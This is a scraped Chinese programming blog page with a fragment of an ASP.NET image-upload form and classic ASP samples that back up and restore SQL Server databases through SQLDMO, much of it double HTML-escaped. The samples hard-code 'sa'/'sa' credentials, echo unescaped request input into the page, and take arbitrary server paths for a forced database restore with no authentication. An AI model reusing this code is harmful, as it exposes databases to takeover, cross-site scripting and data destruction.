<asp:customvalidator id =&#34;CustomValidator1&#34; ErrorMessage=&#34;不是个有效的日期格式&#34; CssClass= &#34;valid&#34; ControlToValidate=&#34;txtboxPicDate&#34; Runat=&#34;server&#34; OnServerValidate=&#34;ServerValidateCheckDate&#34;></asp:customvalidator></TD>

</TR>

<TR>

<TD>图片分类</TD>

<TD> <asp:dro&#112;downlist id=&#34;ddlPicType&#34; runat=&#34;server&#34; DataValueField=&#34;fePicTypeID&#34; DataTextField =&#34;Title&#34;></asp:dro&#112;downlist><FONT face=&#34;宋体&#34;> < /FONT><asp:regularexpressionvalidator id=&#34;RegularExpressionValidator1&#34; ErrorMessage =&#34;请选择图片分类&#34; CssClass=&#34;valid&#34; ControlToValidate= &#34;ddlPicType&#34; ValidationExpression=&#34;[^0]&#34; Runat=&#34;server&#34;></asp:regularexpressionvalidator></TD>

</TR>

<TR>

<TD>图片介绍</TD>

<TD><asp:textbox id=&#34;txtboxPicIntro&#34; runat=&#34;server&#34; MaxLength=&#34;255&#34; TextMode=&#34;MultiLine&#34; Columns=&#34;50&#34; Rows=&#34;5&#34;></asp:textbox>

<asp:RegularExpressionValidator id=&#34;Regularexpressionvalidator2&#34; Runat =&#34;server&#34; CssClass=&#34;valid&#34; ErrorMessage=&#34;内容中不应包含 ’ < > &#34; ControlToValidate=&#34;txtboxPicIntro&#34; ValidationExpression=&#34;[^’^<^>]&#34;></asp:RegularExpressionValidator>

</TD>

</TR>

<tr>

<td colSpan=&#34;2&#34;>(支持文件格式:Jpg, Gif, Png)</td>

</tr>

</TABLE>

<table cellSpacing=&#34;0&#34; width=&#34;750&#34; border=&#34;1&#34;>

<tr>

<td width=&#34;70&#34;>图片名称</td>

<td width=&#34;300&#34;><INPUT title=&#34;浏览&#34; type=&#34;file&#34; size=&#34;25&#34; name=&#34;filePicName&#34; runat=&#34;server&#34; ID=&#34;filePicName&#34;>

< asp:RegularExpressionValidator id=&#34;Regularexpressionvalidator3&#34; Runat=&#34;server&#34; CssClass =&#34;valid&#34; ErrorMessage=&#34;文件名只能由字母或数字组成,不能包含 – _ 等其他符号长度至少为 1&#34; ControlToValidate=&#34;filePicName&#34; ValidationExpression=&#34;[ :.a-zA-Z0-9]&#34;></asp:RegularExpressionValidator>

</td>

<td><asp:checkboxlist id=&#34;checkboxlistRewrite&#34; runat=&#34;server&#34; BorderWidth=&#34;0&#34; Height=&#34;100%&#34; CellPadding=&#34;5&#34; RepeatLayout=&#34;Table&#34; RepeatColumns=&#34;1&#34; RepeatDirection=&#34;Vertical&#34;>

<asp:ListItem Value=&#34;1&#34;>覆盖原有图片</asp:ListItem>

</asp:checkboxlist></td>

</tr>

</table>

<table cellSpacing=&#34;0&#34; width=&#34;750&#34; border=&#34;1&#34;>

<TR>

< TD align=&#34;middle&#34;><asp:button id=&#34;btnSubmit&#34; onclick=&#34;UploadFile&#34; runat =&#34;server&#34; Text=&#34;确定&#34;></asp:button></TD>

</TR>

<TR>

<TD><asp:label id=&#34;lblPicInfo&#34; runat=&#34;server&#34;>Label</asp:label></TD>

</TR>

<TR>

<TD><FONT face=&#34;宋体&#34;></FONT>

</TD>

</TR>

</table>

</form>

<asp:HyperLink id=&#34;hlkOriPic&#34; runat=&#34;server&#34;>原图</asp:HyperLink>

<asp:HyperLink id=&#34;hlkNewPic&#34; runat=&#34;server&#34;>缩略图</asp:HyperLink>

</body>

</HTML>

2006/02/17网络编程

39条评论
39 views

ASP备份数据库

ASP备份数据库<br /><br />&amp;nbsp;<br /> 文件1:BackupDB.asp&amp;nbsp;<br /> <br /><br />&amp;lt;%@&amp;nbsp;Language=VBScript&amp;nbsp;%&amp;gt;<br />&amp;lt;HTML&amp;gt;<br />&amp;lt;HEAD&amp;gt;<br />&amp;lt;META&amp;nbsp;name=VI60_defaultClientScript&amp;nbsp;content=VBScript&amp;gt;<br />&amp;lt;META&amp;nbsp;NAME=&amp;quot;GENERATOR&amp;quot;&amp;nbsp;Content=&amp;quot;Microsoft&amp;nbsp;FrontPage&amp;nbsp;4.0&amp;quot;&amp;gt;<br />&amp;lt;SCRIPT&amp;nbsp;ID=clientEventHandlersVBS&amp;nbsp;LANGUAGE=vbscript&amp;gt;<br />&amp;lt;!–<br /><br />Sub&amp;nbsp;btnbak_onclick<br />if&amp;nbsp;frmbak.txtsvr.value=&amp;quot;&amp;quot;&amp;nbsp;then<br />window.alert(&amp;quot;&#39;Server&amp;nbsp;Name&#39;&amp;nbsp;is&amp;nbsp;empty!&amp;quot;)<br />frmbak.txtsvr.focus<br />exit&amp;nbsp;sub<br />end&amp;nbsp;if<br />if&amp;nbsp;frmbak.txtuid.value=&amp;quot;&amp;quot;&amp;nbsp;then<br />window.alert(&amp;quot;&#39;Administrators&#39;&amp;nbsp;is&amp;nbsp;empty!&amp;quot;)<br />frmbak.txtuid.focus<br />exit&amp;nbsp;sub<br />end&amp;nbsp;if<br />if&amp;nbsp;frmbak.txtdb.value=&amp;quot;&amp;quot;&amp;nbsp;then<br />window.alert(&amp;quot;&#39;Database&#39;&amp;nbsp;is&amp;nbsp;empty!&amp;quot;)<br />frmbak.txtdb.focus<br />exit&amp;nbsp;sub<br />end&amp;nbsp;if<br />if&amp;nbsp;frmbak.txtto.value=&amp;quot;&amp;quot;&amp;nbsp;then<br />window.alert(&amp;quot;&#39;Backup&amp;nbsp;To&#39;&amp;nbsp;is&amp;nbsp;empty!&amp;quot;)<br />frmbak.txtto.focus<br />exit&amp;nbsp;sub<br />end&amp;nbsp;if<br />frmbak.submit<br />End&amp;nbsp;Sub<br /><br />–&amp;gt;<br />&amp;lt;/SCRIPT&amp;gt;<br />&amp;lt;link&amp;nbsp;rel=&amp;quot;stylesheet&amp;quot;&amp;nbsp;href=&amp;quot;../../sheets/B2BStyle.css&amp;quot;&amp;gt;<br />&amp;lt;/HEAD&amp;gt;<br />&amp;lt;form&amp;nbsp;action=&amp;quot;backupdbsave.asp&amp;quot;&amp;nbsp;method=&amp;quot;post&amp;quot;&amp;nbsp;id=frmbak&amp;nbsp;name=frmbak&amp;gt;<br />&amp;lt;body&amp;nbsp;class=&amp;quot;bg_frame_up&amp;quot;&amp;gt;<br />&amp;lt;p&amp;nbsp;class=heading&amp;gt;&amp;nbsp;Database&amp;nbsp;–&amp;gt;&amp;nbsp;Backup&amp;lt;/p&amp;gt;<br />&amp;lt;P&amp;nbsp;align=center&amp;gt;<br />&amp;lt;div&amp;nbsp;align=&amp;quot;center&amp;quot;&amp;gt;<br />&amp;lt;center&amp;gt;<br />&amp;lt;table&amp;nbsp;width=&amp;quot;60%&amp;quot;&amp;nbsp;cellpadding=1&amp;nbsp;cellspacing=1&amp;nbsp;border=0&amp;nbsp;align=center&amp;gt;<br />&amp;lt;tr&amp;gt;<br />&amp;lt;td&amp;nbsp;class=TD_Mand_FN&amp;nbsp;align=&amp;quot;center&amp;quot;&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;40%&amp;quot;&amp;gt;Server&amp;nbsp;Name:&amp;lt;/td&amp;gt;<br />&amp;lt;td&amp;nbsp;class=TD_Mand_F&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;59%&amp;quot;&amp;gt;&amp;nbsp;<br />&amp;lt;INPUT&amp;nbsp;id=txtsvr&amp;nbsp;name=txtsvr&amp;nbsp;size=&amp;quot;20&amp;quot;&amp;nbsp;style=&amp;quot;font-family:&amp;nbsp;Arial;&amp;nbsp;font-size:&amp;nbsp;9pt&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;<br />&amp;lt;/tr&amp;gt;<br />&amp;lt;tr&amp;gt;<br />&amp;lt;td&amp;nbsp;class=TD_Mand_FN&amp;nbsp;align=&amp;quot;center&amp;quot;&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;40%&amp;quot;&amp;gt;Administrators:&amp;lt;/td&amp;gt;<br />&amp;lt;td&amp;nbsp;class=TD_Mand_F&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;59%&amp;quot;&amp;gt;&amp;nbsp;<br />&amp;lt;INPUT&amp;nbsp;id=txtuid&amp;nbsp;name=txtuid&amp;nbsp;size=&amp;quot;20&amp;quot;&amp;nbsp;style=&amp;quot;font-family:&amp;nbsp;Arial;&amp;nbsp;font-size:&amp;nbsp;9pt&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;<br />&amp;lt;/tr&amp;gt;<br />&amp;lt;tr&amp;gt;<br />&amp;lt;td&amp;nbsp;class=TD_Mand_FN&amp;nbsp;align=&amp;quot;center&amp;quot;&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;40%&amp;quot;&amp;gt;Password:&amp;lt;/td&amp;gt;<br />&amp;lt;td&amp;nbsp;class=TD_Mand_F&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;59%&amp;quot;&amp;gt;&amp;nbsp;<br />&amp;lt;INPUT&amp;nbsp;id=txtpwd&amp;nbsp;name=txtpwd&amp;nbsp;type=password&amp;nbsp;style=&amp;quot;font-family:&amp;nbsp;Arial;&amp;nbsp;font-size:&amp;nbsp;9pt&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;<br />&amp;lt;/tr&amp;gt;<br />&amp;lt;tr&amp;gt;<br />&amp;lt;td&amp;nbsp;class=TD_Mand_FN&amp;nbsp;align=&amp;quot;center&amp;quot;&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;40%&amp;quot;&amp;gt;Database:&amp;lt;/td&amp;gt;<br />&amp;lt;td&amp;nbsp;class=TD_Mand_F&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;59%&amp;quot;&amp;gt;&amp;nbsp;<br />&amp;lt;p&amp;nbsp;align=&amp;quot;left&amp;quot;&amp;gt;&amp;nbsp;<br />&amp;lt;INPUT&amp;nbsp;id=txtdb&amp;nbsp;name=txtdb&amp;nbsp;size=&amp;quot;20&amp;quot;&amp;nbsp;style=&amp;quot;font-family:&amp;nbsp;Arial;&amp;nbsp;font-size:&amp;nbsp;9pt&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;<br />&amp;lt;/td&amp;gt;<br />&amp;lt;/tr&amp;gt;<br /><br />&amp;lt;td&amp;nbsp;class=TD_Mand_FN&amp;nbsp;align=&amp;quot;center&amp;quot;&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;40%&amp;quot;&amp;gt;Backup&amp;nbsp;To:&amp;lt;br&amp;gt;<br />&amp;lt;u&amp;gt;(Server&amp;nbsp;Path)&amp;lt;/u&amp;gt;&amp;lt;/td&amp;gt;&amp;nbsp;<br />&amp;lt;td&amp;nbsp;class=TD_Mand_F&amp;nbsp;height=&amp;quot;35&amp;quot;&amp;nbsp;width=&amp;quot;59%&amp;quot;&amp;gt;&amp;nbsp;<br />&amp;lt;input&amp;nbsp;id=txtto&amp;nbsp;name=txtto&amp;nbsp;style=&amp;quot;font-family:&amp;nbsp;Arial;&amp;nbsp;font-size:&amp;nbsp;9pt&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;nbsp;<br />&amp;lt;/tr&amp;gt;&amp;nbsp;<br />&amp;lt;/table&amp;gt;&amp;nbsp;<br />&amp;lt;/center&amp;gt;&amp;nbsp;&amp;lt;/div&amp;gt;&amp;nbsp;<br />&amp;lt;p&amp;nbsp;align=center&amp;gt;&amp;lt;input&amp;nbsp;id=btnbak&amp;nbsp;name=btnbak&amp;nbsp;type=button&amp;nbsp;value=&amp;quot;Start&amp;nbsp;Backup&amp;quot;&amp;nbsp;style=&amp;quot;font-family:&amp;nbsp;Arial;&amp;nbsp;font-size:&amp;nbsp;9pt&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&amp;nbsp;<br />&amp;lt;/body&amp;gt;&amp;nbsp;<br />&amp;lt;/form&amp;gt;&amp;nbsp;<br />&amp;lt;/HTML&amp;gt;&amp;nbsp;<br /><br /><br />文件2:BackupDBSave.asp<br /><br />&amp;lt;%@&amp;nbsp;Language=VBScript&amp;nbsp;%&amp;gt;<br />&amp;lt;%<br />dim&amp;nbsp;msvr,muid,mpwd,mdb,mto<br />msvr=Request.Form(&amp;quot;txtsvr&amp;quot;)<br />muid=Request.Form(&amp;quot;txtuid&amp;quot;)<br />mpwd=Request.Form(&amp;quot;txtpwd&amp;quot;)<br />mdb=Request.Form(&amp;quot;txtdb&amp;quot;)<br />mto=Request.Form(&amp;quot;txtto&amp;quot;)<br />if&amp;nbsp;mpwd=&amp;quot;&amp;quot;&amp;nbsp;then&amp;nbsp;mpwd=&amp;quot;&#39;&#39;&amp;quot;<br /><br />on&amp;nbsp;error&amp;nbsp;resume&amp;nbsp;next<br />set&amp;nbsp;dmosvr=server.Cr&#101;ateObject(&amp;quot;SQLDMO.SQLServer&amp;quot;)<br />dmosvr.connect&amp;nbsp;msvr,muid,mpwd<br /><br />if&amp;nbsp;err.number&amp;gt;0&amp;nbsp;then&amp;nbsp;Response.Redirect(&amp;quot;http:backuperr.asp?err=&amp;quot;&amp;amp;err.number)<br /><br />mdevname=&amp;quot;Backup_&amp;quot;&amp;amp;muid&amp;amp;&amp;quot;_&amp;quot;&amp;amp;mdb<br />set&amp;nbsp;dmodev=server.Cr&#101;ateObject(&amp;quot;SQLDMO.BackupDevice&amp;quot;)<br />dmodev.name=mdevname<br />dmodev.type=2<br />dmodev.PhysicalLocation=mto<br />dmosvr.BackupDevices.Add&amp;nbsp;dmodev<br /><br />if&amp;nbsp;err.number&amp;gt;0&amp;nbsp;then&amp;nbsp;Response.Redirect(&amp;quot;http:backuperr.asp?err=&amp;quot;&amp;amp;err.number)<br /><br />set&amp;nbsp;dmobak=server.Cr&#101;ateObject(&amp;quot;SQLDMO.Backup&amp;quot;)<br />dmobak.database=mdb<br />dmobak.devices=mdevname<br />%&amp;gt;<br />&amp;lt;HTML&amp;gt;<br />&amp;lt;HEAD&amp;gt;<br />&amp;lt;META&amp;nbsp;NAME=&amp;quot;GENERATOR&amp;quot;&amp;nbsp;Content=&amp;quot;Microsoft&amp;nbsp;Visual&amp;nbsp;Studio&amp;nbsp;6.0&amp;quot;&amp;gt;<br />&amp;lt;/HEAD&amp;gt;<br />&amp;lt;body&amp;nbsp;background=&amp;quot;../../Images/dot.gif&amp;quot;&amp;gt;<br /><br />&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Backuping,&amp;nbsp;wait&amp;nbsp;please…&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;<br />&amp;lt;%<br />dmobak.sqlbackup&amp;nbsp;dmosvr<br />if&amp;nbsp;err.number&amp;gt;0&amp;nbsp;then&amp;nbsp;Response.Redirect(&amp;quot;http:backuperr.asp?err=&amp;quot;&amp;amp;err.number)<br /><br />dmosvr.backupdevices(mdevname).remove<br />set&amp;nbsp;dmobak=nothing<br />set&amp;nbsp;dmodev=nothing<br />dmosvr.disconnect<br />set&amp;nbsp;dmosvr=nothing<br />%&amp;gt;<br />&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Database&amp;nbsp;&#39;&amp;lt;%=mdb%&amp;gt;&#39;&amp;nbsp;backup&amp;nbsp;successed!&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;<br />&amp;lt;/BODY&amp;gt;<br />&amp;lt;/HTML&amp;gt;<br /><br /><br />文件3:BackupErr.asp<br /><br />&amp;lt;%@&amp;nbsp;Language=VBScript&amp;nbsp;%&amp;gt;<br />&amp;lt;%<br />dim&amp;nbsp;errno,errstr<br />errno=Request.QueryString(&amp;quot;err&amp;quot;)<br />errstr=&amp;quot;&amp;quot;<br />sel&#101;ct&amp;nbsp;case&amp;nbsp;cstr(errno)<br />case&amp;nbsp;&amp;quot;18456&amp;quot;<br />errstr=&amp;quot;administrators&amp;nbsp;or&amp;nbsp;password&amp;nbsp;error!&amp;quot;<br />case&amp;nbsp;&amp;quot;20482&amp;quot;<br />errstr=&amp;quot;server&amp;nbsp;name&amp;nbsp;error&amp;nbsp;or&amp;nbsp;server&amp;nbsp;cannot&amp;nbsp;connect!&amp;quot;<br />case&amp;nbsp;&amp;quot;911&amp;quot;<br />errstr=&amp;quot;database&amp;nbsp;not&amp;nbsp;found!&amp;quot;<br />case&amp;nbsp;&amp;quot;15026&amp;quot;<br />errstr=&amp;quot;server&amp;nbsp;path&amp;nbsp;not&amp;nbsp;found!&amp;quot;<br />case&amp;nbsp;&amp;quot;3201&amp;quot;<br />errstr=&amp;quot;server&amp;nbsp;path&amp;nbsp;not&amp;nbsp;found!&amp;quot;<br />case&amp;nbsp;&amp;quot;3254&amp;quot;<br />errstr=&amp;quot;restore&amp;nbsp;from&amp;nbsp;file&amp;nbsp;lawlessness!&amp;quot;<br />case&amp;nbsp;else<br />errstr=&amp;quot;unknown&amp;nbsp;error!&amp;nbsp;retry&amp;nbsp;later&amp;nbsp;please!&amp;quot;<br />end&amp;nbsp;sel&#101;ct<br />%&amp;gt;<br />&amp;lt;HTML&amp;gt;<br />&amp;lt;HEAD&amp;gt;<br />&amp;lt;META&amp;nbsp;name=VI60_defaultClientScript&amp;nbsp;content=VBScript&amp;gt;<br />&amp;lt;META&amp;nbsp;NAME=&amp;quot;GENERATOR&amp;quot;&amp;nbsp;Content=&amp;quot;Microsoft&amp;nbsp;FrontPage&amp;nbsp;4.0&amp;quot;&amp;gt;<br />&amp;lt;SCRIPT&amp;nbsp;ID=clientEventHandlersVBS&amp;nbsp;LANGUAGE=vbscript&amp;gt;<br />&amp;lt;!–<br /><br />Sub&amp;nbsp;btnret_onclick<br />history.back<br />End&amp;nbsp;Sub<br /><br />–&amp;gt;<br />&amp;lt;/SCRIPT&amp;gt;<br />&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;<br />&amp;lt;/HEAD&amp;gt;<br />&amp;lt;body&amp;nbsp;class=&amp;quot;bg_frame_up&amp;quot;&amp;gt;<br />&amp;lt;p&amp;nbsp;align=center&amp;gt;&amp;lt;font&amp;nbsp;color=#006666&amp;gt;&amp;lt;%=errstr%&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/p&amp;gt;<br />&amp;lt;p&amp;nbsp;align=center&amp;gt;&amp;lt;input&amp;nbsp;id=btnret&amp;nbsp;name=btnret&amp;nbsp;type=button&amp;nbsp;value=Return&amp;nbsp;style=&amp;quot;font-family:&amp;nbsp;Arial;&amp;nbsp;font-size:&amp;nbsp;9pt&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;<br />&amp;lt;/BODY&amp;gt;<br />&amp;lt;/HTML&amp;gt;&amp;nbsp;<br /><strong>Asp备份与恢复SQL Server数据库</strong>

<div style=&#34;PADDING-RIGHT: 0px; MARGIN-TOP: 10px; FONT-SIZE: 9pt; OVERFLOW-X: hidden; WIDTH: 97%; WORD-BREAK: break-all; TEXT-INDENT: 24px; LINE-HEIGHT: normal; HEIGHT: 200px; WORD-WRAP: break-word&#34; onload=&#34;this.style.overflowX=&#39;auto&#39;;&#34;>

<p>一个用asp备份与恢复SQL Server数据库的例子代码,希望对一些朋友有用。(注意:数据库使用中可能无法恢复) </p>

&amp;lt;HTML&amp;gt;<br />&amp;lt;HEAD&amp;gt;<br />&amp;lt;TITLE&amp;gt;SQL Server 数据库的备份与恢复&amp;lt;/TITLE&amp;gt;<br />&amp;lt;meta http-equiv=&amp;quot;Content-Type&amp;quot; content=&amp;quot;text/html; charset=gb2312&amp;quot;&amp;gt;<br />&amp;lt;/HEAD&amp;gt;<br />&amp;lt;BODY&amp;gt;<br />&amp;lt;form method=&amp;quot;post&amp;quot; name=myform&amp;gt;<br />选择操作:&amp;lt;INPUT TYPE=&amp;quot;radio&amp;quot; NAME=&amp;quot;act&amp;quot; id=&amp;quot;act_backup&amp;quot;&amp;nbsp;&amp;nbsp;value=&amp;quot;backup&amp;quot;&amp;gt;&amp;lt;label for=act_backup&amp;gt;备份&amp;lt;/label&amp;gt; <br />&amp;lt;INPUT TYPE=&amp;quot;radio&amp;quot; NAME=&amp;quot;act&amp;quot; id=&amp;quot;act_restore&amp;quot; value=&amp;quot;restore&amp;quot;&amp;gt;&amp;lt;label for=act_restore&amp;gt;恢复&amp;lt;/label&amp;gt;<br />&amp;lt;br&amp;gt;数据库名:&amp;lt;INPUT TYPE=&amp;quot;text&amp;quot; NAME=&amp;quot;databasename&amp;quot; value=&amp;quot;&amp;lt;%=request(&amp;quot;databasename&amp;quot;)%&amp;gt;&amp;quot;&amp;gt;<br />&amp;lt;br&amp;gt;文件路径:&amp;lt;INPUT TYPE=&amp;quot;text&amp;quot; NAME=&amp;quot;bak_file&amp;quot; value=&amp;quot;c:$1.bak&amp;quot;&amp;gt;(备份或恢复的文件路径)&amp;lt;br&amp;gt;<br />&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;确定&amp;quot;&amp;gt;<br />&amp;lt;/form&amp;gt;<br />&amp;lt;%<br />&#39;SQL Server 数据库的备份与恢复!<br />&#39;海娃@2004-4-2<br />&#39;<a href=&#34;http://www.51windows.net/&#34; target=&#34;_blank&#34;>http://www.51windows.Net</a><br />dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act<br />sqlserver = &amp;quot;localhost&amp;quot; &#39;sql服务器<br />sqlname = &amp;quot;sa&amp;quot;&amp;nbsp;&amp;nbsp; &#39;用户名<br />sqlpassword = &amp;quot;sa&amp;quot;&amp;nbsp;&amp;nbsp;&#39;密码<br />sqlLoginTimeout = 15 &#39;登陆超时<br />databasename = trim(request(&amp;quot;databasename&amp;quot;))<br />bak_file = trim(request(&amp;quot;bak_file&amp;quot;))<br />bak_file = replace(bak_file,&amp;quot;$1&amp;quot;,databasename)<br />act = lcase(request(&amp;quot;act&amp;quot;))<br />if databasename = &amp;quot;&amp;quot; then<br />response.write &amp;quot;input database name&amp;quot;<br />else<br />if act = &amp;quot;backup&amp;quot; then<br />&amp;nbsp;&amp;nbsp;Set srv=Server.Cr&#101;ateObject(&amp;quot;SQLDMO.SQLServer&amp;quot;)<br />&amp;nbsp;&amp;nbsp;srv.LoginTimeout = sqlLoginTimeout<br />&amp;nbsp;&amp;nbsp;srv.Connect sqlserver,sqlname, sqlpassword<br />&amp;nbsp;&amp;nbsp;Set bak = Server.Cr&#101;ateObject(&amp;quot;SQLDMO.Backup&amp;quot;)<br />&amp;nbsp;&amp;nbsp;bak.Database=databasename<br />&amp;nbsp;&amp;nbsp;bak.Devices=Files<br />&amp;nbsp;&amp;nbsp;bak.Files=bak_file<br />&amp;nbsp;&amp;nbsp;bak.SQLBackup srv<br />&amp;nbsp;&amp;nbsp;if err.number&amp;gt;0 then<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;response.write err.number&amp;amp;&amp;quot;&amp;lt;font color=red&amp;gt;&amp;lt;br&amp;gt;&amp;quot;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;response.write err.description&amp;amp;&amp;quot;&amp;lt;/font&amp;gt;&amp;quot;<br />&amp;nbsp;&amp;nbsp;end if<br />&amp;nbsp;&amp;nbsp;Response.write &amp;quot;&amp;lt;font color=green&amp;gt;备份成功!&amp;lt;/font&amp;gt;&amp;quot;<br />elseif act = &amp;quot;restore&amp;quot; then<br />&amp;nbsp;&amp;nbsp;&#39;恢复时要在没有使用数据库时进行!<br />&amp;nbsp;&amp;nbsp;Set srv=Server.Cr&#101;ateObject(&amp;quot;SQLDMO.SQLServer&amp;quot;)<br />&amp;nbsp;&amp;nbsp;srv.LoginTimeout = sqlLoginTimeout<br />&amp;nbsp;&amp;nbsp;srv.Connect sqlserver,sqlname, sqlpassword<br />&amp;nbsp;&amp;nbsp;Set rest=Server.Cr&#101;ateObject(&amp;quot;SQLDMO.Restore&amp;quot;)<br />&amp;nbsp;&amp;nbsp;rest.Action=0 &#39; full db restore<br />&amp;nbsp;&amp;nbsp;rest.Database=databasename<br />&amp;nbsp;&amp;nbsp;rest.Devices=Files<br />&amp;nbsp;&amp;nbsp;rest.Files=bak_file<br />&amp;nbsp;&amp;nbsp;rest.ReplaceDatabase=True &#39;Force restore over existing database<br />&amp;nbsp;&amp;nbsp;if err.number&amp;gt;0 then<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;response.write err.number&amp;amp;&amp;quot;&amp;lt;font color=red&amp;gt;&amp;lt;br&amp;gt;&amp;quot;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;response.write err.description&amp;amp;&amp;quot;&amp;lt;/font&amp;gt;&amp;quot;<br />&amp;nbsp;&amp;nbsp;end if<br />&amp;nbsp;&amp;nbsp;rest.SQLRestore srv<br />&amp;nbsp;&amp;nbsp;<br />&amp;nbsp;&amp;nbsp;Response.write &amp;quot;&amp;lt;font color=green&amp;gt;恢复成功!&amp;lt;/font&amp;gt;&amp;quot;<br />else<br />&amp;nbsp;&amp;nbsp;Response.write &amp;quot;&amp;lt;font color=red&amp;gt;没有选择操作&amp;lt;/font&amp;gt;&amp;quot;<br />end if<br />end if<br />%&amp;gt;<br />&amp;lt;/BODY&amp;gt;<br />&amp;lt;/HTML&amp;gt;</div>

返回顶部